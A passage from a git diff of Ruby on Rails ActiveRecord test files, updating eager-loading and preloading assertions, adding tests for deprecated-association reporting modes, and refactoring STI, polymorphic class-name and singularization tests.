     first, second, = topics(:first).replies.size, topics(:second).replies.size
-    assert_no_queries do
+    assert_queries_count(0) do
       assert_equal first, topics[0].replies.size
       assert_equal second, topics[1].replies.size
     end
   end
 
   def test_eager_association_loading_with_has_many_sti_and_subclasses
-    silly = SillyReply.new(title: "gaga", content: "boo-boo", parent_id: 1)
-    silly.parent_id = 1
-    assert silly.save
+    reply = Reply.new(title: "gaga", content: "boo-boo", parent_id: 1)
+    assert reply.save
 
     topics = Topic.all.merge!(includes: :replies, order: ["topics.id", "replies_topics.id"]).to_a
-    assert_no_queries do
+    assert_queries_count(0) do
       assert_equal 2, topics[0].replies.size
       assert_equal 0, topics[1].replies.size
     end
@@ -136,13 +142,13 @@ def test_eager_association_loading_with_belongs_to_sti
     replies = Reply.all.merge!(includes: :topic, order: "topics.id").to_a
     assert_includes replies, topics(:second)
     assert_not_includes replies, topics(:first)
-    assert_equal topics(:first), assert_no_queries { replies.first.topic }
+    assert_equal topics(:first), assert_queries_count(0) { replies.first.topic }
   end
 
   def test_eager_association_loading_with_multiple_stis_and_order
-    author = Author.all.merge!(includes: { posts: [ :special_comments , :very_special_comment ] }, order: ["authors.name", "comments.body", "very_special_comments_posts.body"], where: "posts.id = 4").first
+    author = Author.all.merge!(includes: { posts: [ :special_comments, :very_special_comment ] }, order: ["authors.name", "comments.body", "very_special_comments_posts.body"], where: "posts.id = 4").first
     assert_equal authors(:david), author
-    assert_no_queries do
+    assert_queries_count(0) do
       author.posts.first.special_comments
       author.posts.first.very_special_comment
     end
@@ -151,7 +157,7 @@ def test_eager_association_loading_with_multiple_stis_and_order
   def test_eager_association_loading_of_stis_with_multiple_references
     authors = Author.all.merge!(includes: { posts: { special_comments: { post: [ :special_comments, :very_special_comment ] } } }, order: "comments.body, very_special_comments_posts.body", where: "posts.id = 4").to_a
     assert_equal [authors(:david)], authors
-    assert_no_queries do
+    assert_queries_count(0) do
       authors.first.posts.first.special_comments.first.post.special_comments
       authors.first.posts.first.special_comments.first.post.very_special_comment
     end
@@ -160,29 +166,91 @@ def test_eager_association_loading_of_stis_with_multiple_references
   def test_eager_association_loading_where_first_level_returns_nil
     authors = Author.all.merge!(includes: { post_about_thinking: :comments }, order: "authors.id DESC").to_a
     assert_equal [authors(:bob), authors(:mary), authors(:david)], authors
-    assert_no_queries do
+    assert_queries_count(0) do
       authors[2].post_about_thinking.comments.first
     end
   end
 
+  def test_preload_through_missing_records
+    post = Post.where.not(author_id: Author.select(:id)).preload(author: { comments: :post }).first!
+    assert_queries_count(0) { assert_nil post.author }
+  end
+
+  def test_eager_association_loading_with_missing_first_record
+    posts = Post.where(id: 3).preload(author: { comments: :post }).to_a
+    assert_equal 1, posts.size
+  end
+
   def test_eager_association_loading_with_recursive_cascading_four_levels_has_many_through
     source = Vertex.all.merge!(includes: { sinks: { sinks: { sinks: :sinks } } }, order: "vertices.id").first
-    assert_equal vertices(:vertex_4), assert_no_queries { source.sinks.first.sinks.first.sinks.first }
+    assert_equal vertices(:vertex_4), assert_queries_count(0) { source.sinks.first.sinks.first.sinks.first }
   end
 
   def test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many
     sink = Vertex.all.merge!(includes: { sources: { sources: { sources: :sources } } }, order: "vertices.id DESC").first
-    assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
+    assert_equal vertices(:vertex_1), assert_queries_count(0) { sink.sources.first.sources.first.sources.first.sources.first }
   end
 
   def test_eager_association_loading_with_cascaded_interdependent_one_level_and_two_levels
     authors_relation = Author.all.merge!(includes: [:comments, { posts: :categorizations }], order: "authors.id")
     authors = authors_relation.to_a
     assert_equal 3, authors.size
-    assert_equal 10, authors[0].comments.size
+    assert_equal 11, authors[0].comments.size
     assert_equal 1, authors[1].comments.size
     assert_equal 5, authors[0].posts.size
     assert_equal 3, authors[1].posts.size
     assert_equal 3, authors[0].posts.collect { |post| post.categorizations.size }.inject(0) { |sum, i| sum + i }
   end
+
+  def test_preloaded_records_are_not_duplicated
+    author = Author.first
+    expected = Post.where(author: author)
+      .includes(author: :first_posts).map { |post| post.author.first_posts.size }
+    actual = author.posts
+      .includes(author: :first_posts).map { |post| post.author.first_posts.size }
+
+    assert_equal expected, actual
+  end
+
+  def test_preloading_across_has_one_constrains_loaded_records
+    author = authors(:david)
+
+    old_post = author.posts.create!(title: "first post", body: "test")
+    old_post.comments.create!(author: authors(:mary), body: "a response")
+
+    recent_post = author.posts.create!(title: "first post", body: "test")
+    last_comment = recent_post.comments.create!(author: authors(:bob), body: "a response")
+
+    authors = Author.where(id: author.id)
+    retrieved_comments = []
+
+    reset_callbacks(Comment, :initialize) do
+      Comment.after_initialize { |record| retrieved_comments << record }
+      authors.preload(recent_post: :comments).load
+    end
+
+    assert_equal 1, retrieved_comments.size
+    assert_equal [last_comment], retrieved_comments
+  end
+
+  def test_preloading_across_has_one_through_constrains_loaded_records
+    author = authors(:david)
+
+    old_post = author.posts.create!(title: "first post", body: "test")
+    old_post.comments.create!(author: authors(:mary), body: "a response")
+
+    recent_post = author.posts.create!(title: "first post", body: "test")
+    recent_post.comments.create!(author: authors(:bob), body: "a response")
+
+    authors = Author.where(id: author.id)
+    retrieved_authors = []
+
+    reset_callbacks(Author, :initialize) do
+      Author.after_initialize { |record| retrieved_authors << record }
+      authors.preload(recent_response: :author).load
+    end
+
+    assert_equal 2, retrieved_authors.size
+    assert_equal [author, authors(:bob)], retrieved_authors
+  end
 end
diff --git a/activerecord/test/cases/associations/deprecation_test.rb b/activerecord/test/cases/associations/deprecation_test.rb
new file mode 100644
index 0000000000000..009ea579fb537
--- /dev/null
+++ b/activerecord/test/cases/associations/deprecation_test.rb
@@ -0,0 +1,274 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/dats"
+
+# The logic of the `guard` method is extensively tested indirectly, via the test
+# suites of each type of association.
+#
+# Those tests verify that the `report` method is invoked as expected. Here, we
+# unit test the `report` method itself.
+module AssociationDeprecationTest
+  class TestCase < ActiveRecord::TestCase
+    # __FILE__ is relative if passed as an argument to ruby, and it is absolute
+    # when running the suite. We'll take the path relative to the component to
+    # make backtraces generated by the backtrace cleaner to be more predictable
+    # and easy to test.
+    THIS_FILE = __FILE__.sub(%r(.*?/activerecord/(?=test/)), "")
+
+    def setup
+      @original_mode = ActiveRecord::Associations::Deprecation.mode
+      @original_backtrace = ActiveRecord::Associations::Deprecation.backtrace
+      @original_backtrace_cleaner = ActiveRecord::LogSubscriber.backtrace_cleaner
+
+      bc = ActiveSupport::BacktraceCleaner.new
+      bc.add_silencer { !_1.include?(THIS_FILE) }
+
+      ActiveRecord::LogSubscriber.backtrace_cleaner = bc
+    end
+
+    def teardown
+      ActiveRecord::Associations::Deprecation.mode = @original_mode
+      ActiveRecord::Associations::Deprecation.backtrace = @original_backtrace
+      ActiveRecord::LogSubscriber.backtrace_cleaner = @original_backtrace_cleaner
+    end
+
+    def assert_message(message, line)
+      re = /The association DATS::Car#deprecated_tires is deprecated, the method deprecated_tires was invoked \(#{__FILE__}:#{line}:in/
+      assert_match re, message
+    end
+  end
+
+  class OptionsTest < TestCase
+    test "valid options, mode only" do
+      ActiveRecord.deprecated_associations_options = { mode: :warn }
+      assert_equal :warn, ActiveRecord::Associations::Deprecation.mode
+      assert_equal false, ActiveRecord::Associations::Deprecation.backtrace
+    end
+
+    test "valid options, backtrace only" do
+      ActiveRecord.deprecated_associations_options = { backtrace: true }
+      assert_equal :warn, ActiveRecord::Associations::Deprecation.mode
+      assert_equal true, ActiveRecord::Associations::Deprecation.backtrace
+    end
+
+    test "valid options, both" do
+      ActiveRecord.deprecated_associations_options = {
+        mode: :notify,
+        backtrace: true
+      }
+      assert_equal :notify, ActiveRecord::Associations::Deprecation.mode
+      assert_equal true, ActiveRecord::Associations::Deprecation.backtrace
+    end
+
+    test "not a hash" do
+      error = assert_raises(ArgumentError) do
+        ActiveRecord.deprecated_associations_options = :invalid
+      end
+      assert_equal "deprecated_associations_options must be a hash", error.message
+    end
+
+    test "invalid keys" do
+      error = assert_raises(ArgumentError) do
+        ActiveRecord.deprecated_associations_options = { invalid: true }
+      end
+      assert_equal "invalid deprecated_associations_options key :invalid (valid keys are :mode and :backtrace)", error.message
+    end
+
+    test "invalid mode" do
+      error = assert_raises(ArgumentError) do
+        ActiveRecord.deprecated_associations_options = { mode: :invalid }
+      end
+      assert_equal "invalid deprecated associations mode :invalid (valid modes are :warn, :raise, and :notify)", error.message
+    end
+  end
+
+  class ModeWriterTest < TestCase
+    test "valid values" do
+      [:warn, :raise, :notify].each do |mode|
+        ActiveRecord::Associations::Deprecation.mode = mode
+        assert_equal mode, ActiveRecord::Associations::Deprecation.mode
+      end
+    end
+
+    test "invalid values" do
+      error = assert_raises(ArgumentError) do
+        ActiveRecord::Associations::Deprecation.mode = :invalid
+      end
+      assert_equal "invalid deprecated associations mode :invalid (valid modes are :warn, :raise, and :notify)", error.message
+    end
+
+    test "the backtrace flag becomes a true/false singleton" do
+      ActiveRecord::Associations::Deprecation.backtrace = 1
+      assert_same true, ActiveRecord::Associations::Deprecation.backtrace
+
+      ActiveRecord::Associations::Deprecation.backtrace = nil
+      assert_same false, ActiveRecord::Associations::Deprecation.backtrace
+    end
+  end
+
+  class WarnModeTest < TestCase
+    def setup
+      super
+      ActiveRecord::Associations::Deprecation.mode = :warn
+
+      @original_logger = ActiveRecord::Base.logger
+      @io = StringIO.new
+      ActiveRecord::Base.logger = Logger.new(@io)
+    end
+
+    def teardown
+      super
+      ActiveRecord::Base.logger = @original_logger
+    end
+
+    test "report warns in :warn mode" do
+      DATS::Car.new.deprecated_tires
+      assert_message @io.string, __LINE__ - 1
+    end
+  end
+
+  class WarnBacktraceModeTest < TestCase
+    def setup
+      super
+      ActiveRecord::Associations::Deprecation.mode = :warn
+      ActiveRecord::Associations::Deprecation.backtrace = true
+
+      @original_logger = ActiveRecord::Base.logger
+      @io = StringIO.new
+      ActiveRecord::Base.logger = Logger.new(@io)
+    end
+
+    def teardown
+      super
+      ActiveRecord::Base.logger = @original_logger
+    end
+
+    test "report warns in :warn mode" do
+      line = __LINE__ + 1
+      DATS::Car.new.deprecated_tires
+
+      assert_message @io.string, line
+      assert_includes @io.string, "\t#{__FILE__}:#{line}:in"
+    end
+  end
+
+  class WarnModeNoLoggerTest < TestCase
+    def setup
+      super
+      ActiveRecord::Associations::Deprecation.mode = :warn
+
+      @original_logger = ActiveRecord::Base.logger
+      ActiveRecord::Base.logger = nil
+    end
+
+    def teardown
+      super
+      ActiveRecord::Base.logger = @original_logger
+    end
+
+    test "report does not assume the logger is present" do
+      assert_nothing_raised { DATS::Car.new.deprecated_tires }
+    end
+  end
+
+  class RaiseModeTest < TestCase
+    def setup
+      super
+      ActiveRecord::Associations::Deprecation.mode = :raise
+    end
+
+    test "report raises an error in :raise mode" do
+      error = assert_raises(ActiveRecord::DeprecatedAssociationError) { DATS::Car.new.deprecated_tires }
+      assert_message error.message, __LINE__ - 1
+    end
+  end
+
+  class RaiseBacktraceModeTest < TestCase
+    def setup
+      super
+      ActiveRecord::Associations::Deprecation.mode = :raise
+      ActiveRecord::Associations::Deprecation.backtrace = true
+    end
+
+    test "report raises an error in :raise mode" do
+      line = __LINE__ + 1
+      error = assert_raises(ActiveRecord::DeprecatedAssociationError) { DATS::Car.new.deprecated_tires }
+
+      assert_message error.message, line
+      assert_includes error.backtrace.last, "#{__FILE__}:#{line}:in"
+    end
+  end
+
+  class NotifyModeTest < TestCase
+    def setup
+      super
+      ActiveRecord::Associations::Deprecation.mode = :notify
+      ActiveRecord::Associations::Deprecation.backtrace = true
+    end
+
+    def teardown
+      super
+      ActiveRecord::LogSubscriber.backtrace_cleaner = @original_backtrace_cleaner
+    end
+
+    def assert_user_facing_reflection(model, association)
+      payloads = []
+      callback = ->(event) { payloads << event.payload }
+
+      ActiveSupport::Notifications.subscribed(callback, "deprecated_association.active_record") do
+        model.new.send(association)
+      end
+
+      assert_equal 1, payloads.size
+      assert_equal model.reflect_on_association(association), payloads[0][:reflection]
+    end
+
+    test "report publishes an Active Support notification in :notify mode" do
+      payloads = []
+      callback = ->(event) { payloads << event.payload }
+
+      line = __LINE__ + 2
+      ActiveSupport::Notifications.subscribed(callback, "deprecated_association.active_record") do
+        DATS::Car.new.deprecated_tires
+      end
+
+      assert_equal 1, payloads.size
+      payload = payloads.first
+
+      assert_equal DATS::Car.reflect_on_association(:deprecated_tires), payload[:reflection]
+
+      assert_message payload[:message], line
+
+      assert_equal __FILE__, payload[:location].path
+      assert_equal line, payload[:location].lineno
+
+      assert_equal __FILE__, payload[:backtrace][-2].path
+      assert_equal line, payload[:backtrace][-2].lineno
+    end
+
+    test "has_many receives the user-facing reflection in the payload" do
+      assert_user_facing_reflection(DATS::Author, :deprecated_posts)
+    end
+
+    test "has_one receives the user-facing reflection in the payload" do
+      assert_user_facing_reflection(DATS::Author, :deprecated_post)
+    end
+
+    test "belongs_to receives the user-facing reflection in the payload" do
+      assert_user_facing_reflection(DATS::Bulb, :deprecated_car)
+    end
+
+    test "has_many :through receives the user-facing reflection in the payload" do
+      assert_user_facing_reflection(DATS::Author, :deprecated_has_many_through)
+    end
+
+    test "has_one :through receives the user-facing reflection in the payload" do
+      assert_user_facing_reflection(DATS::Author, :deprecated_has_one_through)
+    end
+
+    test "HABTM receives the user-facing reflection in the payload" do
+      assert_user_facing_reflection(DATS::Category, :deprecated_posts)
+    end
+  end
+end
diff --git a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
index 4f0fe3236ebec..c5cc94bb05d01 100644
--- a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
+++ b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/tagging"
@@ -9,27 +11,146 @@ class Post < ActiveRecord::Base
   end
 end
 
-class EagerLoadIncludeFullStiClassNamesTest < ActiveRecord::TestCase
+module FullStiClassNamesSharedTest
   def setup
-    generate_test_objects
+    @old_store_full_sti_class = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = store_full_sti_class
+
+    post = Namespaced::Post.create(title: "Great stuff", body: "This is not", author_id: 1)
+    @tagging = post.create_tagging!
   end
 
-  def generate_test_objects
+  def teardown
+    ActiveRecord::Base.store_full_sti_class = @old_store_full_sti_class
+  end
+
+  def test_class_names
+    ActiveRecord::Base.store_full_sti_class = !store_full_sti_class
+    post = Namespaced::Post.find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+
+    ActiveRecord::Base.store_full_sti_class = store_full_sti_class
+    post = Namespaced::Post.find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+  end
+
+  def test_class_names_with_includes
+    ActiveRecord::Base.store_full_sti_class = !store_full_sti_class
+    post = Namespaced::Post.includes(:tagging).find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+
+    ActiveRecord::Base.store_full_sti_class = store_full_sti_class
+    post = Namespaced::Post.includes(:tagging).find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+  end
+
+  def test_class_names_with_eager_load
+    ActiveRecord::Base.store_full_sti_class = !store_full_sti_class
+    post = Namespaced::Post.eager_load(:tagging).find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+
+    ActiveRecord::Base.store_full_sti_class = store_full_sti_class
+    post = Namespaced::Post.eager_load(:tagging).find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+  end
+
+  def test_class_names_with_find_by
+    post = Namespaced::Post.find_by_title("Great stuff")
+
+    ActiveRecord::Base.store_full_sti_class = !store_full_sti_class
+    assert_equal @tagging, Tagging.find_by(taggable: post)
+
+    ActiveRecord::Base.store_full_sti_class = store_full_sti_class
+    assert_equal @tagging, Tagging.find_by(taggable: post)
+  end
+end
+
+class FullStiClassNamesTest < ActiveRecord::TestCase
+  include FullStiClassNamesSharedTest
+
+  private
+    def store_full_sti_class
+      true
+    end
+end
+
+class NonFullStiClassNamesTest < ActiveRecord::TestCase
+  include FullStiClassNamesSharedTest
+
+  private
+    def store_full_sti_class
+      false
+    end
+end
+
+module PolymorphicFullClassNamesSharedTest
+  def setup
+    @old_store_full_class_name = ActiveRecord::Base.store_full_class_name
+    ActiveRecord::Base.store_full_class_name = store_full_class_name
+
     post = Namespaced::Post.create(title: "Great stuff", body: "This is not", author_id: 1)
-    Tagging.create(taggable: post)
+    @tagging = post.create_tagging!
+  end
+
+  def teardown
+    ActiveRecord::Base.store_full_class_name = @old_store_full_class_name
   end
 
   def test_class_names
-    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_class_name = !store_full_class_name
+    post = Namespaced::Post.find_by_title("Great stuff")
+    assert_nil post.tagging
+
+    ActiveRecord::Base.store_full_class_name = store_full_class_name
+    post = Namespaced::Post.find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+  end
 
-    ActiveRecord::Base.store_full_sti_class = false
+  def test_class_names_with_includes
+    ActiveRecord::Base.store_full_class_name = !store_full_class_name
     post = Namespaced::Post.includes(:tagging).find_by_title("Great stuff")
     assert_nil post.tagging
 
-    ActiveRecord::Base.store_full_sti_class = true
+    ActiveRecord::Base.store_full_class_name = store_full_class_name
     post = Namespaced::Post.includes(:tagging).find_by_title("Great stuff")
-    assert_instance_of Tagging, post.tagging
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
+    assert_equal @tagging, post.tagging
+  end
+
+  def test_class_names_with_eager_load
+    ActiveRecord::Base.store_full_class_name = !store_full_class_name
+    post = Namespaced::Post.eager_load(:tagging).find_by_title("Great stuff")
+    assert_nil post.tagging
+
+    ActiveRecord::Base.store_full_class_name = store_full_class_name
+    post = Namespaced::Post.eager_load(:tagging).find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+  end
+
+  def test_class_names_with_find_by
+    post = Namespaced::Post.find_by_title("Great stuff")
+
+    ActiveRecord::Base.store_full_class_name = !store_full_class_name
+    assert_nil Tagging.find_by(taggable: post)
+
+    ActiveRecord::Base.store_full_class_name = store_full_class_name
+    assert_equal @tagging, Tagging.find_by(taggable: post)
   end
 end
+
+class PolymorphicFullClassNamesTest < ActiveRecord::TestCase
+  include PolymorphicFullClassNamesSharedTest
+
+  private
+    def store_full_class_name
+      true
+    end
+end
+
+class PolymorphicNonFullClassNamesTest < ActiveRecord::TestCase
+  include PolymorphicFullClassNamesSharedTest
+
+  private
+    def store_full_class_name
+      false
+    end
+end
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
index e9f551b6b2198..d67a4fd177b65 100644
--- a/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/tag"
@@ -12,13 +14,14 @@ module Remembered
 
   included do
     after_create :remember
+
   private
     def remember; self.class.remembered << self; end
   end
 
   module ClassMethods
-    def remembered; @@remembered ||= []; end
-    def sample; @@remembered.sample; end
+    def remembered; @remembered ||= []; end
+    def sample; remembered.sample; end
   end
 end
 
@@ -90,7 +93,7 @@ def generate_test_object_graphs
   def test_include_query
     res = ShapeExpression.all.merge!(includes: [ :shape, { paint: :non_poly } ]).to_a
     assert_equal NUM_SHAPE_EXPRESSIONS, res.size
-    assert_queries(0) do
+    assert_no_queries do
       res.each do |se|
         assert_not_nil se.paint.non_poly, "this is the association that was loading incorrectly before the change"
         assert_not_nil se.shape, "just making sure other associations still work"
@@ -103,15 +106,15 @@ class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
   def setup
     @davey_mcdave = Author.create(name: "Davey McDave")
     @first_post = @davey_mcdave.posts.create(title: "Davey Speaks", body: "Expressive wordage")
-    @first_comment = @first_post.comments.create(body: "Inflamatory doublespeak")
+    @first_comment = @first_post.comments.create(body: "Inflammatory doublespeak")
     @first_categorization = @davey_mcdave.categorizations.create(category: Category.first, post: @first_post)
   end
 
   teardown do
-    @davey_mcdave.destroy
-    @first_post.destroy
     @first_comment.destroy
     @first_categorization.destroy
+    @davey_mcdave.destroy
+    @first_post.destroy
   end
 
   def test_missing_data_in_a_nested_include_should_not_cause_errors_when_constructing_objects
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
index 5d1c1c4b9ba3e..d6811b9aaf2e2 100644
--- a/activerecord/test/cases/associations/eager_singularization_test.rb
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -1,147 +1,148 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
-if ActiveRecord::Base.connection.supports_migrations?
-  class EagerSingularizationTest < ActiveRecord::TestCase
-    class Virus < ActiveRecord::Base
-      belongs_to :octopus
-    end
-
-    class Octopus < ActiveRecord::Base
-      has_one :virus
-    end
-
-    class Pass < ActiveRecord::Base
-      belongs_to :bus
-    end
-
-    class Bus < ActiveRecord::Base
-      has_many :passes
-    end
-
-    class Mess < ActiveRecord::Base
-      has_and_belongs_to_many :crises
-    end
-
-    class Crisis < ActiveRecord::Base
-      has_and_belongs_to_many :messes
-      has_many :analyses, dependent: :destroy
-      has_many :successes, through: :analyses
-      has_many :dresses, dependent: :destroy
-      has_many :compresses, through: :dresses
-    end
-
-    class Analysis < ActiveRecord::Base
-      belongs_to :crisis
-      belongs_to :success
-    end
-
-    class Success < ActiveRecord::Base
-      has_many :analyses, dependent: :destroy
-      has_many :crises, through: :analyses
-    end
-
-    class Dress < ActiveRecord::Base
-      belongs_to :crisis
-      has_many :compresses
-    end
-
-    class Compress < ActiveRecord::Base
-      belongs_to :dress
-    end
-
-    def setup
-      connection.create_table :viri do |t|
-        t.column :octopus_id, :integer
-        t.column :species, :string
-      end
-      connection.create_table :octopi do |t|
-        t.column :species, :string
-      end
-      connection.create_table :passes do |t|
-        t.column :bus_id, :integer
-        t.column :rides, :integer
-      end
-      connection.create_table :buses do |t|
-        t.column :name, :string
-      end
-      connection.create_table :crises_messes, id: false do |t|
-        t.column :crisis_id, :integer
-        t.column :mess_id, :integer
-      end
-      connection.create_table :messes do |t|
-        t.column :name, :string
-      end
-      connection.create_table :crises do |t|
-        t.column :name, :string
-      end
-      connection.create_table :successes do |t|
-        t.column :name, :string
-      end
-      connection.create_table :analyses do |t|
-        t.column :crisis_id, :integer
-        t.column :success_id, :integer
-      end
-      connection.create_table :dresses do |t|
-        t.column :crisis_id, :integer
-      end
-      connection.create_table :compresses do |t|
-        t.column :dress_id, :integer
-      end
-    end
-
-    teardown do
-      connection.drop_table :viri
-      connection.drop_table :octopi
-      connection.drop_table :passes
-      connection.drop_table :buses
-      connection.drop_table :crises_messes
-      connection.drop_table :messes
-      connection.drop_table :crises
-      connection.drop_table :successes
-      connection.drop_table :analyses
-      connection.drop_table :dresses
-      connection.drop_table :compresses
-    end
+class EagerSingularizationTest < ActiveRecord::TestCase
+  class Virus < ActiveRecord::Base
+    belongs_to :octopus
+  end
 
-    def connection
-      ActiveRecord::Base.connection
+  class Octopus < ActiveRecord::Base
+    has_one :virus
+  end
+
+  class Pass < ActiveRecord::Base
+    belongs_to :bus
+  end
+
+  class Bus < ActiveRecord::Base
+    has_many :passes
+  end
+
+  class Mess < ActiveRecord::Base
+    has_and_belongs_to_many :crises
+  end
+
+  class Crisis < ActiveRecord::Base
+    has_and_belongs_to_many :messes
+    has_many :analyses, dependent: :destroy
+    has_many :successes, through: :analyses
+    has_many :dresses, dependent: :destroy
+    has_many :compresses, through: :dresses
+  end
+
+  class Analysis < ActiveRecord::Base
+    belongs_to :crisis
+    belongs_to :success
+  end
+
+  class Success < ActiveRecord::Base
+    has_many :analyses, dependent: :destroy
+    has_many :crises, through: :analyses
+  end
+
+  class Dress < ActiveRecord::Base
+    belongs_to :crisis
+    has_many :compresses
+  end
+
+  class Compress < ActiveRecord::Base
+    belongs_to :dress
+  end
+
+  def setup
+    connection.create_table :viri do |t|
+      t.column :octopus_id, :integer
+      t.column :species, :string
     end
+    connection.create_table :octopi do |t|
+      t.column :species, :string
+    end
+    connection.create_table :passes do |t|
+      t.column :bus_id, :integer
+      t.column :rides, :integer
+    end
+    connection.create_table :buses do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises_messes, id: false do |t|
+      t.column :crisis_id, :integer
+      t.column :mess_id, :integer
+    end
+    connection.create_table :messes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises do |t|
+      t.column :name, :string
+    end
+    connection.create_table :successes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :analyses do |t|
+      t.column :crisis_id, :integer
+      t.column :success_id, :integer
+    end
+    connection.create_table :dresses do |t|
+      t.column :crisis_id, :integer
+    end
+    connection.create_table :compresses do |t|
+      t.column :dress_id, :integer
+    end
+  end
 
-    def test_eager_no_extra_singularization_belongs_to
-      assert_nothing_raised do
-        Virus.all.merge!(includes: :octopus).to_a
-      end
+  teardown do
+    connection.drop_table :viri
+    connection.drop_table :octopi
+    connection.drop_table :passes
+    connection.drop_table :buses
+    connection.drop_table :crises_messes
+    connection.drop_table :messes
+    connection.drop_table :crises
+    connection.drop_table :successes
+    connection.drop_table :analyses
+    connection.drop_table :dresses
+    connection.drop_table :compresses
+  end
+
+  def test_eager_no_extra_singularization_belongs_to
+    assert_nothing_raised do
+      Virus.all.merge!(includes: :octopus).to_a
     end
+  end
 
-    def test_eager_no_extra_singularization_has_one
-      assert_nothing_raised do
-        Octopus.all.merge!(includes: :virus).to_a
-      end
+  def test_eager_no_extra_singularization_has_one
+    assert_nothing_raised do
+      Octopus.all.merge!(includes: :virus).to_a
     end
+  end
 
-    def test_eager_no_extra_singularization_has_many
-      assert_nothing_raised do
-        Bus.all.merge!(includes: :passes).to_a
-      end
+  def test_eager_no_extra_singularization_has_many
+    assert_nothing_raised do
+      Bus.all.merge!(includes: :passes).to_a
     end
+  end
 
-    def test_eager_no_extra_singularization_has_and_belongs_to_many
-      assert_nothing_raised do
-        Crisis.all.merge!(includes: :messes).to_a
-        Mess.all.merge!(includes: :crises).to_a
-      end
+  def test_eager_no_extra_singularization_has_and_belongs_to_many
+    assert_nothing_raised do
+      Crisis.all.merge!(includes: :messes).to_a
+      Mess.all.merge!(includes: :crises).to_a
     end
+  end
 
-    def test_eager_no_extra_singularization_has_many_through_belongs_to
-      assert_nothing_raised do
-        Crisis.all.merge!(includes: :successes).to_a
-      end
+  def test_eager_no_extra_singularization_has_many_through_belongs_to
+    assert_nothing_raised do
+      Crisis.all.merge!(includes: :successes).to_a
     end
+  end
 
-    def test_eager_no_extra_singularization_has_many_through_has_many
-      assert_nothing_raised do
-        Crisis.all.merge!(includes: :compresses).to_a
-      end
+  def test_eager_no_extra_singularization_has_many_through_has_many
+    assert_nothing_raised do
+      Crisis.all.merge!(includes: :compresses).to_a
     end
   end
+
+  private
+    def connection
+      ActiveRecord::Base.lease_connection
+    end
 end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index 11f4aae5b373b..73eba4b666ec9 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -1,7 +1,10 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/tagging"
 require "models/tag"
+require "models/rating"
 require "models/comment"
 require "models/author"
 require "models/essay"
@@ -16,6 +19,7 @@
 require "models/subscriber"
 require "models/subscription"
 require "models/book"
+require "models/citation"
 require "models/developer"
 require "models/computer"
 require "models/project"
@@ -26,16 +30,41 @@
 require "models/sponsor"
 require "models/mentor"
 require "models/contract"
+require "models/pirate"
+require "models/matey"
+require "models/parrot"
+require "models/sharded"
+require "models/cpk"
+
+class EagerLoadingTooManyIdsTest < ActiveRecord::TestCase
+  fixtures :citations
+
+  def test_preloading_too_many_ids
+    assert_equal Citation.count, Citation.preload(:reference_of).to_a.size
+  end
+
+  def test_eager_loading_too_many_ids
+    assert_equal Citation.count, Citation.eager_load(:citations).offset(0).size
+  end
+end
 
 class EagerAssociationTest < ActiveRecord::TestCase
   fixtures :posts, :comments, :authors, :essays, :author_addresses, :categories, :categories_posts,
-            :companies, :accounts, :tags, :taggings, :people, :readers, :categorizations,
+            :companies, :accounts, :tags, :taggings, :ratings, :people, :readers, :categorizations,
             :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
-            :developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
+            :developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors,
+            :pirates, :mateys, :sharded_blogs, :sharded_blog_posts, :sharded_comments, :sharded_blog_posts_tags,
+            :sharded_tags, :cpk_orders, :cpk_order_agreements
 
   def test_eager_with_has_one_through_join_model_with_conditions_on_the_through
-    member = Member.all.merge!(includes: :favourite_club).find(members(:some_other_guy).id)
-    assert_nil member.favourite_club
+    member = Member.all.merge!(includes: :favorite_club).find(members(:some_other_guy).id)
+    assert_nil member.favorite_club
+  end
+
+  def test_should_work_inverse_of_with_eager_load
+    author = authors(:david)
+    assert_same author, author.posts.first.author
+    assert_same author, author.posts.eager_load(:comments).first.author
   end
 
   def test_loading_with_one_association
@@ -68,6 +97,93 @@ def test_loading_conditions_with_or
       "expected to find only david's posts"
   end
 
+  def test_loading_polymorphic_association_with_mixed_table_conditions
+    rating = Rating.first
+    assert_equal [taggings(:normal_comment_rating)], rating.taggings_without_tag
+
+    rating = Rating.preload(:taggings_without_tag).first
+    assert_equal [taggings(:normal_comment_rating)], rating.taggings_without_tag
+
